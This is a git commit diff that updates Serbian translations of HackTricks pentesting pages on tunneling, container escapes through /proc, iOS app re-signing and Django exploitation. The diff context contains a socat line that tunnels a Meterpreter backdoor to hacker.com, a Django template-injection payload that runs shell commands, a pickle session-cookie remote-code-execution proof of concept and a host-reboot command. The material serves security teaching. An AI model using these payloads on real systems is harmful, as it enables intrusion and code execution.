mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
2a8e3327ba
commit
4de9c86779
@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
||||
```
|
||||
### Port2Port
|
||||
|
||||
Lokalni port --> Kompromitovani host (SSH) --> Treća_boks:Port
|
||||
Lokalni port --> Kompromitovani host (SSH) --> Treća_kutija:Port
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Bezbednost – Terrapin napad (CVE-2023-48795)**
|
||||
> Napad na downgrade Terrapin iz 2023. može omogućiti napadaču u sredini da manipuliše ranim SSH rukovanjem i ubaci podatke u **bilo koji prosleđeni kanal** ( `-L`, `-R`, `-D` ). Osigurajte da su i klijent i server zakrpljeni (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ili eksplicitno onemogućite ranjive `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` algoritme u `sshd_config`/`ssh_config` pre nego što se oslonite na SSH tuneli.
|
||||
> Napad na downgrade Terrapin iz 2023. godine može omogućiti napadaču u sredini da manipuliše ranim SSH rukovanjem i ubaci podatke u **bilo koji prosleđeni kanal** ( `-L`, `-R`, `-D` ). Osigurajte da su i klijent i server zakrpljeni (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ili eksplicitno onemogućite ranjive `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` algoritme u `sshd_config`/`ssh_config` pre nego što se oslonite na SSH tuneli.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -223,7 +223,7 @@ interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_age
|
||||
# Display the tun interfaces -- Attacker
|
||||
interface_list
|
||||
```
|
||||
### Veza i Slušanje
|
||||
### Povezivanje agenta i slušanje
|
||||
```bash
|
||||
# Establish a tunnel from the proxy server to the agent
|
||||
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
|
||||
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Pivotiranje kroz **NTLM proxy**
|
||||
Pivot kroz **NTLM proxy**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
@ -280,7 +280,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### Meterpreter preko SSL Socat
|
||||
### Meterpreter kroz SSL Socat
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Možete zaobići **neautentifikovani proxy** izvršavanjem ove linije umesto poslednje u konzoli žrtve:
|
||||
Možete zaobići **neautentifikovani proxy** izvršavajući ovu liniju umesto poslednje u konzoli žrtve:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
@ -347,7 +347,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
Potrebno je imati **RDP pristup preko sistema**.\
|
||||
Morate imati **RDP pristup preko sistema**.\
|
||||
Preuzmite:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Ovaj alat koristi `Dynamic Virtual Channels` (`DVC`) iz funkcije Remote Desktop Service u Windows-u. DVC je odgovoran za **tunelovanje paketa preko RDP veze**.
|
||||
@ -379,7 +379,7 @@ U **Profile -> Proxification Rules** dodajte ime programa koji želite da proksi
|
||||
## NTLM proksi zaobilaženje
|
||||
|
||||
Prethodno pomenuti alat: **Rpivot**\
|
||||
**OpenVPN** takođe može da ga zaobiđe, postavljanjem ovih opcija u konfiguracionom fajlu:
|
||||
**OpenVPN** takođe može da ga zaobiđe, postavljajući ove opcije u konfiguracionom fajlu:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
@ -387,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Ovaj alat se autentifikuje protiv proksija i vezuje lokalni port koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru kroz ovaj port.\
|
||||
Ova alatka se autentifikuje protiv proksija i vezuje lokalni port koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru preko ovog porta.\
|
||||
Na primer, prosledite port 443.
|
||||
```
|
||||
Username Alice
|
||||
@ -446,7 +446,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Promena DNS u proxychains
|
||||
|
||||
Proxychains presreće `gethostbyname` libc poziv i tuneluje tcp DNS zahtev kroz socks proxy. Po **definiciji**, **DNS** server koji proxychains koristi je **4.2.2.2** (hardkodiran). Da biste ga promenili, uredite datoteku: _/usr/lib/proxychains3/proxyresolv_ i promenite IP. Ako ste u **Windows okruženju**, možete postaviti IP **domen kontrolera**.
|
||||
Proxychains presreće `gethostbyname` libc poziv i tuneluje tcp DNS zahtev kroz socks proxy. Po **default-u** DNS server koji proxychains koristi je **4.2.2.2** (hardkodiran). Da biste ga promenili, uredite datoteku: _/usr/lib/proxychains3/proxyresolv_ i promenite IP. Ako ste u **Windows okruženju**, možete postaviti IP **domen kontrolera**.
|
||||
|
||||
## Tunneli u Go
|
||||
|
||||
@ -484,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
## ngrok
|
||||
|
||||
[**ngrok**](https://ngrok.com/) **je alat za izlaganje rešenja internetu u jednoj komandnoj liniji.**\
|
||||
_URI za izlaganje su kao:_ **UID.ngrok.io**
|
||||
_Exposition URI su kao:_ **UID.ngrok.io**
|
||||
|
||||
### Instalacija
|
||||
|
||||
@ -549,7 +549,7 @@ addr: file:///tmp/httpbin/
|
||||
|
||||
Cloudflare-ov `cloudflared` daemon može da kreira izlazne tunele koji izlažu **lokalne TCP/UDP usluge** bez potrebe za ulaznim pravilima vatrozida, koristeći Cloudflare-ovu ivicu kao mesto susreta. Ovo je veoma korisno kada izlazni vatrozid dozvoljava samo HTTPS saobraćaj, dok su ulazne konekcije blokirane.
|
||||
|
||||
### Quick tunnel one-liner
|
||||
### Brza komanda za tunel
|
||||
```bash
|
||||
# Expose a local web service listening on 8080
|
||||
cloudflared tunnel --url http://localhost:8080
|
||||
|
@ -15,8 +15,8 @@ Ovaj direktorijum omogućava pristup za modifikaciju kernel varijabli, obično p
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- Opisano u [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Ako možete da pišete unutar ove datoteke, moguće je napisati cev `|` praćenu putanjom do programa ili skripte koja će biti izvršena nakon što dođe do pada.
|
||||
- Napadač može pronaći putanju unutar hosta do svog kontejnera izvršavajući `mount` i napisati putanju do binarne datoteke unutar svog kontejnerskog fajl sistema. Zatim, srušiti program kako bi naterao kernel da izvrši binarnu datoteku van kontejnera.
|
||||
- Ako možete da pišete unutar ove datoteke, moguće je napisati cevi `|` praćene putanjom do programa ili skripte koja će biti izvršena nakon što dođe do kvara.
|
||||
- Napadač može pronaći putanju unutar hosta do svog kontejnera izvršavajući `mount` i napisati putanju do binarne datoteke unutar svog kontejnerskog datotečnog sistema. Zatim, izazvati kvar programa kako bi naterao kernel da izvrši binarnu datoteku van kontejnera.
|
||||
|
||||
- **Primer testiranja i eksploatacije**:
|
||||
```bash
|
||||
@ -49,12 +49,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Proveri pristup modprobe
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Pominje se u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Referencirano u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Globalna zastavica koja kontroliše da li kernel panici ili poziva OOM killer kada dođe do OOM uslova.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- Prema [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), sadrži opcije i informacije o fajl sistemu.
|
||||
- Prema [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), sadrži opcije i informacije o datotečnom sistemu.
|
||||
- Pristup za pisanje može omogućiti razne napade uskraćivanja usluge protiv hosta.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
@ -103,13 +103,13 @@ echo b > /proc/sysrq-trigger # Restartuje host
|
||||
|
||||
- Predstavlja fizičku memoriju sistema u ELF core formatu.
|
||||
- Čitanje može otkriti sadržaj memorije host sistema i drugih kontejnera.
|
||||
- Velika veličina fajla može dovesti do problema sa čitanjem ili rušenja softvera.
|
||||
- Velika veličina datoteke može dovesti do problema sa čitanjem ili rušenja softvera.
|
||||
- Detaljna upotreba u [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- Alternativni interfejs za `/dev/kmem`, koji predstavlja kernel virtuelnu memoriju.
|
||||
- Omogućava čitanje i pisanje, što omogućava direktnu modifikaciju kernel memorije.
|
||||
- Omogućava čitanje i pisanje, što znači direktnu modifikaciju kernel memorije.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
@ -199,17 +199,17 @@ metadata:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
|
||||
Inside the **pod-mounts-var-folder** container:
|
||||
@ -263,7 +263,7 @@ the other containers' filesystems are available under a different base path:
|
||||
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Skladišni drajver: overlay2
|
||||
Storage Driver: overlay2
|
||||
Docker Root Dir: /var/lib/docker
|
||||
```
|
||||
|
||||
@ -293,7 +293,7 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent
|
||||
```text
|
||||
/run/containerd/containerd.sock # containerd CRI soket
|
||||
/var/run/crio/crio.sock # CRI-O runtime soket
|
||||
/run/podman/podman.sock # Podman API (rootful ili rootless)
|
||||
/run/podman/podman.sock # Podman API (sa root privilegijama ili bez)
|
||||
/var/run/kubelet.sock # Kubelet API na Kubernetes čvorovima
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
```
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Glavna ideja
|
||||
|
||||
Aplikacije potpisane sa **entitlement `get_task_allow`** omogućavaju trećim aplikacijama da pokrenu funkciju nazvanu **`task_for_pid()`** sa ID-jem procesa inicijalne aplikacije kao argumentom kako bi dobile port zadatka nad njom (da mogu da je kontrolišu i pristupe njenoj memoriji).
|
||||
Aplikacije potpisane sa **entitlement `get_task_allow`** omogućavaju trećim aplikacijama da pokrenu funkciju nazvanu **`task_for_pid()`** sa ID-jem procesa inicijalne aplikacije kao argumentom kako bi dobile port zadatka nad njom (da bi mogle da je kontrolišu i pristupe njenoj memoriji).
|
||||
|
||||
Međutim, nije tako lako kao samo preuzimanje IPA, ponovo potpisivanje sa entitlement-om i vraćanje na vaš uređaj. To je zbog FairPlay zaštite. Kada se potpis aplikacije promeni, DRM (Digital Rights Management) ključ je **nevažeći i aplikacija neće raditi**.
|
||||
Međutim, nije tako lako kao samo preuzeti IPA, ponovo ga potpisati sa entitlement-om i vratiti ga na svoj uređaj. To je zbog FairPlay zaštite. Kada se potpis aplikacije promeni, DRM (Digital Rights Management) ključ je **nevažeći i aplikacija neće raditi**.
|
||||
|
||||
Sa starim jailbroken uređajem, moguće je instalirati IPA, **dekriptovati je koristeći vaš omiljeni alat** (kao što su Iridium ili frida-ios-dump), i preuzeti je nazad sa uređaja. Ipak, ako je moguće, preporučuje se da jednostavno pitate klijenta za dekriptovani IPA.
|
||||
Sa starim jailbroken uređajem, moguće je instalirati IPA, **dekriptovati ga koristeći omiljeni alat** (kao što su Iridium ili frida-ios-dump), i preuzeti ga sa uređaja. Ipak, ako je moguće, preporučuje se da jednostavno pitate klijenta za dekriptovani IPA.
|
||||
|
||||
|
||||
## Dobijanje dekriptovanog IPA
|
||||
@ -19,7 +19,7 @@ Sa starim jailbroken uređajem, moguće je instalirati IPA, **dekriptovati je ko
|
||||
2. Instalirajte i pokrenite [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) na vašem macOS-u
|
||||
3. Otvorite `Terminal` na vašem Mac-u, i idite u `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA će se kasnije pojaviti u ovoj fascikli.
|
||||
4. Trebalo bi da vidite svoj iOS uređaj. Dvaput kliknite na njega, a zatim kliknite na Dodaj + → Aplikacije iz gornjeg menija.
|
||||
5. Nakon što kliknete na Dodaj, Configurator će preuzeti IPA sa Apple-a i pokušati da je pošalje na vaš uređaj. Ako ste pratili moju preporuku ranije i već instalirali IPA, pojaviće se prozor koji vas pita da ponovo instalirate aplikaciju.
|
||||
5. Nakon što kliknete na Dodaj, Configurator će preuzeti IPA sa Apple-a i pokušati da ga pošalje na vaš uređaj. Ako ste pratili moju preporuku ranije i već instalirali IPA, pojaviće se prozor koji vas pita da ponovo instalirate aplikaciju.
|
||||
6. IPA bi trebala biti preuzeta unutar `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` odakle je možete uzeti.
|
||||
|
||||
Proverite [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) za detaljnije informacije o ovom procesu.
|
||||
@ -27,9 +27,9 @@ Proverite [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](htt
|
||||
|
||||
### Dekriptovanje aplikacije
|
||||
|
||||
Da bismo dekriptovali IPA, instaliraćemo je. Međutim, ako imate stariji jailbroken iPhone, potencijalno njegova verzija neće biti podržana od strane aplikacije, jer obično aplikacije podržavaju samo najnovije verzije.
|
||||
Da bismo dekriptovali IPA, instaliraćemo ga. Međutim, ako imate stariji jailbroken iPhone, potencijalno njegova verzija neće biti podržana od strane aplikacije, jer obično aplikacije podržavaju samo najnovije verzije.
|
||||
|
||||
Dakle, da biste je instalirali, jednostavno raspakujte IPA:
|
||||
Dakle, da biste ga instalirali, jednostavno raspakujte IPA:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
@ -40,7 +40,7 @@ Ponovo zipujte IPA:
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
```
|
||||
Zatim instalirajte IPA, na primer, sa:
|
||||
Zatim instalirajte IPA, na primer sa:
|
||||
```bash
|
||||
ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
@ -48,13 +48,14 @@ Napomena da vam može biti potreban **AppSync Unified tweak** iz Cydie da biste
|
||||
|
||||
Kada se instalira, možete koristiti **Iridium tweak** iz Cydie kako biste dobili dekriptovani IPA.
|
||||
|
||||
|
||||
### Patch entitlements & re-sign
|
||||
|
||||
Da biste ponovo potpisali aplikaciju sa `get-task-allow` entitlements, dostupni su različiti alati kao što su `app-signer`, `codesign` i `iResign`. `app-signer` ima vrlo korisnički prijateljski interfejs koji omogućava lako ponovo potpisivanje IPA datoteke tako što se navodi IPA za ponovo potpisivanje, da se **stavi `get-task-allow`** i sertifikat i profil za obezbeđenje koji će se koristiti.
|
||||
Da biste ponovo potpisali aplikaciju sa `get-task-allow` entitlements, dostupni su različiti alati kao što su `app-signer`, `codesign` i `iResign`. `app-signer` ima vrlo korisnički prijateljski interfejs koji omogućava vrlo lako ponovo potpisivanje IPA datoteke tako što se navodi IPA za ponovo potpisivanje, da se **stavi `get-task-allow`** i sertifikat i profil za obezbeđenje koji će se koristiti.
|
||||
|
||||
Što se tiče sertifikata i profila za potpisivanje, Apple nudi **besplatne profile za potpisivanje developera** za sve naloge putem Xcode-a. Samo kreirajte aplikaciju i konfigurišite jedan. Zatim, konfigurišite **iPhone da veruje aplikacijama developera** tako što ćete otići na `Settings` → `Privacy & Security`, i kliknite na `Developer Mode`.
|
||||
|
||||
Sa ponovo potpisanim IPA, vreme je da ga instalirate na uređaj kako biste ga pentestovali:
|
||||
Sa ponovo potpisanim IPA, vreme je da ga instalirate na uređaj kako biste ga pentestirali:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
@ -62,11 +63,11 @@ ideviceinstaller -i resigned.ipa -w
|
||||
|
||||
### Omogućite režim programera (iOS 16+)
|
||||
|
||||
Od iOS 16, Apple je uveo **Režim programera**: bilo koja binarna datoteka koja nosi `get_task_allow` *ili* je potpisana razvojnim sertifikatom odbiće da se pokrene dok se Režim programera ne omogući na uređaju. Takođe nećete moći da priključite Frida/LLDB osim ako je ova oznaka uključena.
|
||||
Od iOS 16, Apple je uveo **Režim programera**: bilo koja binarna datoteka koja nosi `get_task_allow` *ili* je potpisana razvojnim sertifikatom odbiće da se pokrene dok režim programera nije omogućen na uređaju. Takođe nećete moći da priključite Frida/LLDB osim ako je ova oznaka uključena.
|
||||
|
||||
1. Instalirajte ili prebacite **bilo koji** IPA potpisan od strane programera na telefon.
|
||||
2. Idite na **Podešavanja → Privatnost i bezbednost → Režim programera** i uključite ga.
|
||||
3. Uređaj će se ponovo pokrenuti; nakon unosa lozinke bićete upitani da **Uključite** Režim programera.
|
||||
3. Uređaj će se ponovo pokrenuti; nakon unosa lozinke bićete upitani da **Uključite** režim programera.
|
||||
|
||||
Režim programera ostaje aktivan dok ga ne onemogućite ili ne obrišete telefon, tako da ovaj korak treba izvesti samo jednom po uređaju. [Apple dokumentacija](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) objašnjava bezbednosne implikacije.
|
||||
|
||||
@ -83,7 +84,7 @@ Za rutinske pentestove na trenutnim iOS verzijama, Alt/Side-Store su obično naj
|
||||
|
||||
### Hooking / dinamička instrumentacija
|
||||
|
||||
Možete hook-ovati vašu aplikaciju tačno kao na jailbreak-ovanom uređaju kada je potpisana sa `get_task_allow` **i** kada je Režim programera uključen:
|
||||
Možete hook-ovati vašu aplikaciju tačno kao na jailbreak-ovanom uređaju kada je potpisana sa `get_task_allow` **i** režim programera je uključen:
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -95,7 +96,7 @@ Nedavne Frida verzije (>=16) automatski upravljaju autentifikacijom pokazivača
|
||||
|
||||
### Automatizovana dinamička analiza sa MobSF (bez jailbreak-a)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) može instrumentirati dev-potpisanu IPA na pravom uređaju koristeći istu tehniku (`get_task_allow`) i pruža web UI sa pretraživačem datotečnog sistema, hvatanjem saobraćaja i Frida konzolom【turn6view0†L2-L3】. Najbrži način je da pokrenete MobSF u Docker-u i zatim povežete svoj iPhone putem USB-a:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) može instrumentirati dev-potpisanu IPA na pravom uređaju koristeći istu tehniku (`get_task_allow`) i pruža web UI sa pretraživačem datotečnog sistema, hvatanjem saobraćaja i Frida konzolom【turn6view0†L2-L3】. Najbrži način je da pokrenete MobSF u Docker-u, a zatim povežete svoj iPhone putem USB-a:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
@ -107,7 +108,7 @@ MobSF će automatski implementirati binarni fajl, omogućiti Frida server unutar
|
||||
|
||||
### iOS 17 & Lockdown Mode upozorenja
|
||||
|
||||
* **Lockdown Mode** (Podešavanja → Privatnost & Bezbednost) blokira dinamički linker da učitava nesigned ili eksterno potpisane dinamičke biblioteke. Kada testirate uređaje koji mogu imati ovaj režim omogućen, uverite se da je **onemogućen** ili će vaši Frida/objection sesije odmah prekinuti.
|
||||
* **Lockdown Mode** (Podešavanja → Privatnost i bezbednost) blokira dinamički linker da učitava nesigned ili eksterno potpisane dinamičke biblioteke. Kada testirate uređaje koji mogu imati ovaj režim omogućen, uverite se da je **onemogućen** ili će vaši Frida/objection sesije odmah prekinuti.
|
||||
* Pointer Authentication (PAC) se sprovodi sistemski na A12+ uređajima. Frida ≥16 transparentno obrađuje PAC stripping — samo održavajte *frida-server* i Python/CLI alatke ažuriranim kada nova glavna verzija iOS-a bude objavljena.
|
||||
|
||||
## Reference
|
||||
|
@ -1,18 +1,18 @@
|
||||
# Django
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
||||
## Manipulacija kešom za RCE
|
||||
Podrazumevani metod skladištenja keša u Djangou je [Python pickles](https://docs.python.org/3/library/pickle.html), što može dovesti do RCE ako se [nepouzdani ulaz de-pikluje](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ako napadač može dobiti pristup za pisanje u keš, može eskalirati ovu ranjivost na RCE na osnovnom serveru**.
|
||||
|
||||
Django keš se skladišti na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memorija](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fajlovi](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili [baza podataka](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Keš koji se skladišti u Redis serveru ili bazi podataka su najverovatniji vektori napada (Redis injekcija i SQL injekcija), ali napadač može takođe iskoristiti keš zasnovan na fajlovima da pretvori proizvoljno pisanje u RCE. Održavaoci su ovo označili kao neproblematično. Važno je napomenuti da će folder sa keš fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije.
|
||||
Django keš se skladišti na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memorija](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fajlovi](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili [baza podataka](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Keš koji se skladišti na Redis serveru ili u bazi podataka su najverovatniji vektori napada (Redis injekcija i SQL injekcija), ali napadač može takođe iskoristiti keš zasnovan na fajlovima da pretvori proizvoljno pisanje u RCE. Održavaoci su ovo označili kao neproblematično. Važno je napomenuti da će folder sa keš fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije.
|
||||
|
||||
Ovaj HackerOne izveštaj pruža odličan, ponovljiv primer eksploatacije Django keša koji se skladišti u SQLite bazi podataka: https://hackerone.com/reports/1415436
|
||||
Ovaj HackerOne izveštaj pruža odličan, reproduktivni primer iskorišćavanja Django keša koji se skladišti u SQLite bazi podataka: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Injekcija šablona na serverskoj strani (SSTI)
|
||||
Django Template Language (DTL) je **Turing-kompletan**. Ako se podaci koje je dostavio korisnik renderuju kao *šablonski string* (na primer, pozivanjem `Template(user_input).render()` ili kada `|safe`/`format_html()` uklanja automatsko eskapiranje), napadač može postići pun SSTI → RCE.
|
||||
Django Template Language (DTL) je **Turing-kompletan**. Ako se podaci koje je obezbedio korisnik renderuju kao *šablonski string* (na primer, pozivanjem `Template(user_input).render()` ili kada `|safe`/`format_html()` uklanja automatsko eskapovanje), napadač može postići pun SSTI → RCE.
|
||||
|
||||
### Detekcija
|
||||
1. Tražite dinamičke pozive `Template()` / `Engine.from_string()` / `render_to_string()` koji uključuju *bilo koje* nefiltrirane podatke iz zahteva.
|
||||
@ -31,20 +31,20 @@ Pronađite indeks `subprocess.Popen` (≈400–500 u zavisnosti od Python verzij
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.
|
||||
Bezbedniji univerzalni uređaj je iterirati dok `cls.__name__ == 'Popen'`.
|
||||
|
||||
Isti uređaj funkcioniše za **Debug Toolbar** ili **Django-CMS** funkcije renderovanja šablona koje pogrešno obrađuju korisnički unos.
|
||||
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
Ako je podešavanje `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` omogućeno (ili prilagođeni serializer koji deserializuje pickle), Django *dekriptuje i unpickles* kolačić sesije **pre** nego što pozove bilo koji kod prikaza. Stoga, posedovanje važećeg ključa za potpisivanje (projekat `SECRET_KEY` po defaultu) je dovoljno za trenutnu daljinsku izvršavanje koda.
|
||||
Ako je podešavanje `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` omogućeno (ili prilagođeni serializer koji deserializuje pickle), Django *dekriptuje i unpickluje* kolačić sesije **pre** nego što pozove bilo koji kod prikaza. Stoga, posedovanje važećeg ključa za potpisivanje (projekat `SECRET_KEY` po defaultu) je dovoljno za trenutnu daljinsku izvršavanje koda.
|
||||
|
||||
### Exploit Requirements
|
||||
### Zahtevi za Eksploataciju
|
||||
* Server koristi `PickleSerializer`.
|
||||
* Napadač zna / može da pogodi `settings.SECRET_KEY` (curenja putem GitHub-a, `.env`, stranica sa greškama, itd.).
|
||||
* Napadač zna / može da pogodi `settings.SECRET_KEY` (curenja putem GitHub-a, `.env`, stranice sa greškama, itd.).
|
||||
|
||||
### Proof-of-Concept
|
||||
### Dokaz-Koncepta
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
@ -60,7 +60,7 @@ print(f"sessionid={mal}")
|
||||
```
|
||||
Pošaljite rezultantni kolačić, a payload se izvršava sa dozvolama WSGI radnika.
|
||||
|
||||
**Mere zaštite**: Održavajte podrazumevani `JSONSerializer`, rotirajte `SECRET_KEY` i konfigurišite `SESSION_COOKIE_HTTPONLY`.
|
||||
**Mere zaštite**: Držite podrazumevani `JSONSerializer`, rotirajte `SECRET_KEY` i konfigurišite `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
@ -68,7 +68,7 @@ Pošaljite rezultantni kolačić, a payload se izvršava sa dozvolama WSGI radni
|
||||
* **CVE-2025-48432** – *Log Injection putem neizbeženog `request.path`* (ispravljeno 4. juna 2025). Omogućava napadačima da prokrijumčare nove linije/ANSI kodove u log fajlove i otrovaju analizu logova nizvodno. Nivo zakrpe ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Kritična SQL injekcija* u `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Kreirajte JSON ključeve da biste izašli iz navodnika i izvršili proizvoljan SQL. Ispravljeno u 4.2.15 / 5.0.8.
|
||||
|
||||
Uvek identifikujte tačnu verziju okvira putem `X-Frame-Options` stranice sa greškom ili `/static/admin/css/base.css` hash-a i testirajte navedeno gde je primenljivo.
|
||||
Uvek identifikujte tačnu verziju okvira putem `X-Frame-Options` stranice greške ili `/static/admin/css/base.css` hash-a i testirajte navedeno gde je primenljivo.
|
||||
|
||||
---
|
||||
|
||||
